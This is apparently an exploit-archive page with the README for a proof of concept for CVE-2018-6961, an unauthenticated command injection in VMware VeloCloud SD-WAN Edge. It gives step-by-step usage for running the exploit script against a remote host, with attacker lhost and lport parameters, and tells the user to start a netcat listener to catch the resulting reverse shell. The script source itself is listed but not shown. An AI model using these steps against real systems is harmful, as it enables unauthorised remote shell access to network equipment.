CVE-2018-6961 PoC — VMware SD-WAN Edge 命令注入漏洞

Source

Associated Vulnerability

Description

veloCloud VMWare - Vulnerability

Readme

**CVE-2018-6961 - UNAUTHENTICATED COMMAND INJECTION VULNERABILITY**

This exploit works in Python2.7 - Not tested in any other version

**1) Install Dependencies**
```
pip install request
```

if don't have pip installed, just run
```
apt-get install python-pip
```

**2) Usage **
```
python exployt.py --rhost --interface --lhost --lport --function
```
```
python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost 2.2.2.2 --lport 443 --function traceroute
Exploiting...................
```

**3) Don't forget to setup the netcat on another terminal**
```
nc -vlnp 443
```



TODO
--improve the script to run the netcat on the same terminal

File Snapshot

 [4.0K]  /data/pocs/f7f3b59e6abcc6f61b8ce969454607bb98482017
├── [3.2K]  exploit.py
└── [ 643]  README.md

0 directories, 2 files

Remarks